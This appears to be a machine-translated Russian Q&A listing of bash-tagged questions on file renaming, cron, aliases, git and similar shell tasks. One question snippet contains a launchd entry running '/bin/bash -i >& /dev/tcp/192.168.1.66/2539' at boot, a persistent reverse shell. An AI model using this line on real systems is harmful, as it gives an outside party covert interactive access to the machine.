Вопросы с меткой [bash]
Bash - это бесплатная оболочка для Unix-подобных операционных систем из проекта GNU.
8870 вопросов
0
голосов
1ответ
613 показов
Установить местоположение .bashrc в cygwin + conemu без изменения $ HOME
Я хотел бы точно указать, откуда Cygwin читает .bashrc. насколько я могу догадаться, .bash_profile использует $ HOME, чтобы найти, где .bashrc, однако некоторые проекты, над которыми я работаю, ...
0
голосов
1ответ
1k показов
Использование git diff с xargs -0, пробелы в именах файлов
Я пытаюсь извлечь список «проектов», которые изменились с момента данного коммита. Для этого я приближаю проект к папке, содержащей измененный файл. Проблема, которую я имею, заставляет это работать ...
0
голосов
1ответ
93 показов
Скрипты оболочки не могут создавать новые файлы в Linux
У меня проблема с новой установкой Linux, не позволяющей сценариям оболочки, которые я выполняю, создавать папки и файлы. Сначала я подумал, что это проблема, потому что я не вошел в систему с ...
0
голосов
3ответа
51 показов
Сценарий шифрования или сценарий блокировки
У меня есть скрипт bash, который я создал. Я хотел бы знать, возможно ли зашифровать его, чтобы никто не смог открыть его и увидеть код? Тем не менее, я хотел бы, чтобы люди запускали его при ...
0
голосов
1ответ
112 показов
Почему я не могу использовать последнюю версию установленного GIT в этой оболочке Linux сервера Bluehost?
Я не очень в Linux, и у меня есть следующая проблема. Я вошел через SSH в мою оболочку Linux на сервере Bluehost и сделал: git --version Я видел, что у меня есть старая версия git: -jailshell-4.1$ ...
0
голосов
2ответа
1k показов
Как переместить все файлы подкаталогов в другой каталог
Мои файлы имеют следующую структуру: 11 --11a -----a.jpg -----b.jpg -----.... --11b -----d.jpg -----g.jpg ... Я хочу, чтобы все файлы .jpg находились в одной папке: 11 -a.jpg -b.jpg -d.jpg -g.jpg ... ...
0
голосов
1ответ
1k показов
Учитывая каталог, рекурсивно получить относительные пути всех файлов
Я создаю файл спецификации RPM, и мне нужно перечислить в разделе %files файлы для включения относительно корня сборки, который я укажу. У меня уже есть собранный каталог, который нужно упаковать - ...
0
голосов
1ответ
89 показов
Не удается открыть файл при переходе по каталогу с символическими ссылками
Nginx не запускается со следующей ошибкой: nginx: [emerg] ModSecurityConfig in /usr/local/server/nginx/conf/nginx.conf:133: Cannot open config file: /usr/local/server/nginx/conf/../base/base.conf ...
0
голосов
0ответов
1k показов
Как устранить ошибку сегментации в оболочке bash Windows 10?
Я пытаюсь запустить ADMIXTURE 1.3, используя Ubuntu на Bash в Windows 10 (Anniversary Update), используя следующую команду: ./admixture --cv j2 bedfilename.bed 2 Я получаю сообщение об ошибке «Ошибка ...
0
голосов
2ответа
214 показов
Как получить ~/foo из /home /user1 /foo?
Приглашение Bash поддерживает escape-последовательность \w , задокументированную как \w the current working directory, with $HOME abbreviated with a tilde (uses the value of the PROMPT_DIRTRIM ...
0
голосов
1ответ
94 показов
Launchd файл для обратного потока
У кого-нибудь есть идеи, почему это не в состоянии выполнить соединение обратного потока при загрузке? Label com.unix.bash.plist ProgramArguments /bin/bash -i >& /dev/tcp/192.168.1.66/2539 ...
0
голосов
1ответ
879 показов
Как использовать faketime на bash?
Возникла проблема с командой faketime . Пытаюсь использовать его, но всегда получаю ошибку: faketime -t "2000-01-01 01:00:00" /usr/bin/faketime: 102: exec: 2000-01-01 01:00:00: not found У меня ...
0
голосов
1ответ
1k показов
альтернативные метки времени wget
У меня есть скрипт, который работает в цикле и проверяет наличие копий mysqlbackup на другом сервере. пару раз в день wget загружает файл, хотя никаких изменений не было. то, что я пытался ...
0
голосов
1ответ
1k показов
Cronjob не работает
Я попытался настроить cronjob на моем сервере. На самом деле эта команда должна выполнять Java-программу каждый час. Но почему-то это не сработало. Я погуглил и попытался настроить тестовый скрипт, ...
0
голосов
1ответ
500 показов
Запуск скриптовых команд в make-файле (Linux make)
Я боролся с этим большую часть прошлой ночи. Я хочу переименовать все файлы xxxx-yyyy в xxxx:yyyy в папке из make-файла. У меня есть renamefiles.sh который отлично работает: #!/bin/sh for i in $i do ...
0
голосов
1ответ
328 показов
Постоянная глобальная переменная в оболочке Linux
У меня есть сценарий, который должен "включать свет" для других сценариев в некоторых случаях для других сценариев, и поскольку переменная окружения доступна только для дочернего процесса, дюйм ...
0
голосов
1ответ
839 показов
Как бы я использовал git и bash для рекурсивного перемещения всех файлов в папке с именем `n` вверх на один каталог
Я работаю над реорганизацией существующего проекта. У них была следующая странная структура. src -main --app ---item ----src -----Item.coffee ---other ----src -----Other.coffee Я хочу переместить все ...
0
голосов
0ответов
19 показов
Как я могу автоматизировать установку с помощью числовых опций?
Например, если бы я устанавливал пакет с помощью apt-get, я бы сделал: sudo apt-get install -y PACKAGE_NAME но в этом случае мои варианты при ручной установке будут «1», «1» и «2» соответственно. ...
0
голосов
2ответа
366 показов
Как вставить VRULE в RRDTool во время выполнения с переменной в Bash
Я сгенерировал несколько графиков успешно с помощью классного приложения RRDTool. Тем не менее, у меня есть некоторые проблемы с опцией VRULE при построении графиков. Я генерирую графики с помощью ...
0
голосов
2ответа
1k показов
Bash скрипт для открытия обратного туннеля SSH при запуске
Я пытаюсь запустить скрипт при запуске на компьютере Debian Jessie, помимо прочего он создает обратный туннель SSH. Дело в том, что я поставил этот скрипт в if-up и либо в rc.local для запуска. Все ...
0
голосов
1ответ
244 показов
Команда `who` или` finger` не отображает подключенных пользователей (Bash в Windows 10)
Я установил Bash на Windows 10 и во время обучения Unix я обнаружил , что команды , who и finger не делать шоу зарегистрированных пользователей. Когда я набираю who в Bash, он просто ничего не ...
0
голосов
2ответа
2k показов
Написание сценария Unix (bash), который создает каталог в месте, указанном в командной строке
В настоящее время у меня есть сценарий Unix (написанный на bash), который выполняет несколько команд для изменения группы файлов, которые я указываю с помощью flist, содержащего их пути. Основная ...
0
голосов
3ответа
2k показов
Как пакетно переименовать файлы, удалив специальный символ без использования переименования в оболочке Linux
Например, у меня есть 100 файлов и их имена имеют пустое пространство. Одним из них является « The Monkey King Return (2015).mkv ». Как убрать все пробелы в имени и заменить их символом точки, а ...
0
голосов
1ответ
198 показов
Linux подавляет ошибку поиска в скрипте bash в сочетании с удалением файла
У меня есть однострочный скрипт, который работает нормально, но ... find $HOME/html/mydir/downloads/sec/*.zip -mtime 2 -exec rm {} \; Он генерирует ошибку, если не найдено ни одного файла, и мой ...
0
голосов
1ответ
835 показов
Можно ли автоматически скомпилировать документ LaTeX через терминал, используя TeXworks?
Я хочу создать псевдоним для автоматической компиляции основного файла .tex большого документа в LaTeX под Debian Wheezy. Это означает, что мне нужна команда оболочки для этого. Это возможно? Я в ...
0
голосов
2ответа
833 показов
псевдоним bashrc не работает
Я пытаюсь изменить команду ls с помощью псевдонима в моем файле .bashrc, и я получаю некоторые странные ошибки. файл .bashrc export http_proxy="Some URL" export https_proxy=$http_proxy alias ls='ls ...
0
голосов
1ответ
236 показов
bash: показывать имена фоновых заданий в приглашении bash
Было бы здорово, если бы приглашение bash можно было использовать в качестве мини-панели задач. Может ли приглашение bash (PS1) отображать имена заданий, перечисленных в команде jobs?
0
голосов
1ответ
41 показов
Сложите «краткую форму здесь документа»
Извиняюсь за x-post из stackoverflow, но, похоже, здесь есть представления о [notepad++]. Согласно странице man ksh или man bash (RHEL 6.6.0)
0
голосов
1ответ
157 показов
Как легко просматривать файловую систему в Bash
Часто мне приходится открывать файл в оболочке, а путь к файлу не запоминается. Существует ли дополнение / расширение для оболочки, которое отображает иерархию файловой системы, как вы делаете это ...
0
голосов
2ответа
1k показов
Команда Linux 'screen' - Запустить экран и запустить что-то одновременно?
Я большой поклонник "экрана" программы linux, который позволяет мне запускать экран во время сеанса SSH, который может остаться в живых после моего отключения. Больше информации об экране здесь Есть ...
0
голосов
1ответ
402 показов
Есть ли способ настроить предупреждение перед выполнением некоторых команд в терминале?
Есть некоторые терминальные команды, которые способны эффективно уничтожать большие массивы данных. Например: sudo rm -rf /* или rm -rf /* . Я хочу настроить предупреждение, которое будет ...
0
голосов
1ответ
367 показов
Проверьте, не зависла ли самба с клиента Linux
Какой самый эффективный способ проверить доступность сервера Samba из клиента Linux?
0
голосов
1ответ
377 показов
Рекурсивно добавлять папки в команду экспорта на bashrc
Я хочу добавить рекурсивно добавить папки в экспортируемую переменную. Предположим, у меня есть переменная MATLABPATH объявленная ниже: export MATLABPATH=PATH1:PATH2:…PATHN:$MATLABPATH И я хочу ...
0
голосов
1ответ
186 показов
Цитировать команду для `find -execdir test [command]` (Bash)
Я хотел бы выполнить следующую команду, чтобы выполнить git fetch в git-репозиториях, если есть удаленный (= git remote не пуст): find -name .git -execdir test $(git remote) \; -execdir git fetch ...
0
голосов
1ответ
105 показов
Bash: игнорировать пустое место в начале строки
У меня только косметический вопрос. Я экспортирую некоторую переменную в мой .bashrc следующим образом: export LD_LIBRARY_PATH=/usr/local/matlab/bin/glnxa64:\ ...
0
голосов
1ответ
4k показов
Сохранить результат grep -c в переменную оболочки
Как я могу сохранить результат grep -c как целое число в переменной оболочки? Это: check=sudo virsh list |egrep -c '\b[0-9]{2}\b' только дает мне количество совпадений и печатает его на экране, тогда ...
0
голосов
0ответов
37 показов
Большинство команд не будут работать на Bash
Поэтому я обновился до последней версии El Capitan (10.11.3) и adb перестал работать на меня. После того, как я связался с ~/.bash_profile, я ухудшил ситуацию, и теперь большинство команд, таких как ...
0
голосов
1ответ
628 показов
Псевдоним команды из терминала, который открывает новый терминал в определенной папке
У меня есть эта команда уже работает в моем .bash_profile: alias mysite='cd /Applications/sites/mysite;pwd; php artisan serve --port=9000 | open http://localhost:9000 | open -a Finder ./' Так что: ...
0
голосов
1ответ
63 показов
Файловые операции с использованием Symlink Source/Destination
Я создал набор символических ссылок, которые я могу использовать в BASH с CDPATH:«desk», который указывает на мой рабочий стол, и «docs», который указывает на мои документы. Я могу cd , используя эти ...
0
голосов
1ответ
66 показов
Bash расширяет массив, где он должен использовать только один элемент
Мой простой bash-скрипт для получения изображений Raspberry Pi, которые старше одной минуты: #!/bin/bash time=`date +"%FT%H_%M_%S"` imagedir="/root/pilapse/images/" files=`ssh pi find ...
0
голосов
1ответ
40 показов
Apple Script: невозможно вызвать id3tag из скрипта с помощью "do shell script"
Попытка переименовать mp3-файлы из сценария Apple, который будет частью более крупного сценария, включая Audio Hijacker. set folder_p to "/Users/me/Music/" set folder_path to POSIX path of folder_p ...
0
голосов
1ответ
923 показов
Как переписать строку echo/printf другой? (Заставить его начать в центре экрана)
Я хочу написать скрипт, который выводит предложения, которые я выбираю. Я хочу, чтобы они появлялись в центре экрана: выведите первый, а затем сделайте второй поверх первого. Вот мой код: ...
0
голосов
1ответ
3k показов
Как настроить задание Jenkins на целевой сервер для развертывания?
Я использую два сервера CentOS. Я не использую какой-либо репозиторий кода. В Дженкинс, когда я нажимаю "Новый элемент", я не вижу места для входа на целевой сервер. Я ожидаю место для настройки ...
0
голосов
1ответ
43 показов
bash, если оператор продолжает изменять второй аргумент в буквальную строку
Так что я не уверен, почему он это делает. Мой оператор if продолжает интерпретировать вторую переменную как буквенную строку вместо переменной. Ниже мой точный код. lights() { bulb1state=$(gatttool ...
0
голосов
1ответ
564 показов
Как оставить только английский язык в оболочке bash в Mac OS X?
Я использую операционную систему Mac OS X с оболочкой bash и очень устала менять раскладку клавиатуры каждый раз, когда переключаюсь в оболочку. Кто-нибудь знает, как автоматически установить ...
0
голосов
2ответа
77 показов
Как передать параметр в команду Linux в конце строки
Я хотел бы передать параметр в конце строки, пока я даю команду в терминале. Так что я хотел бы что-то вроде примера ниже find /path/to/directory -type f -exec grep -irl "SEARCH_PATTERN" {} \; что-то ...
0
голосов
1ответ
83 показов
Sed/Awk линия двойная
У меня есть такой список. Bob Jim Steve В bash есть способ превратить это в такой список? Bob Jim Steve
0
голосов
2ответа
8k показов
установить глобальную переменную и использовать стандартный вывод из функции bash
Вот код: #! /bin/bash function foo() { G1=123 echo "ReturnVal" } RV="$(foo)" echo "RV=$RV, G1=$G1" # RV=ReturnVal, G1= foo >/dev/null echo "G1=$G1" # G1=123 Я хочу выполнить функцию, установить ...
0
голосов
1ответ
76 показов
Почему вы сообщаете разные размеры для одного и того же каталога?
$ pwd / $ du -hs * 0 bin 8.2M boot 82M dev 23M etc 0 lib 0 lib64 16K lost+found 4.0K media 0 misc 4.0K mnt 0 net 106M opt 44K root 414M run 0 sbin 4.0K srv 0 sys 1.3G usr 36M var $ du -hs var 118M ...
0
голосов
1ответ
3k показов
Как я могу отправить электронное письмо с приложением xls файла, используя сценарий оболочки в качестве mimetype application/xls, не делая полученный файл нечитаемым
#!/bin/bash ATTACH1=file.xls SUBJECT="subj" FROM=me@domain.com TO=you@domain.com CC=them@domain.com MIME="Application/vnd.ms-excel" FILE=$ATTACH1 ...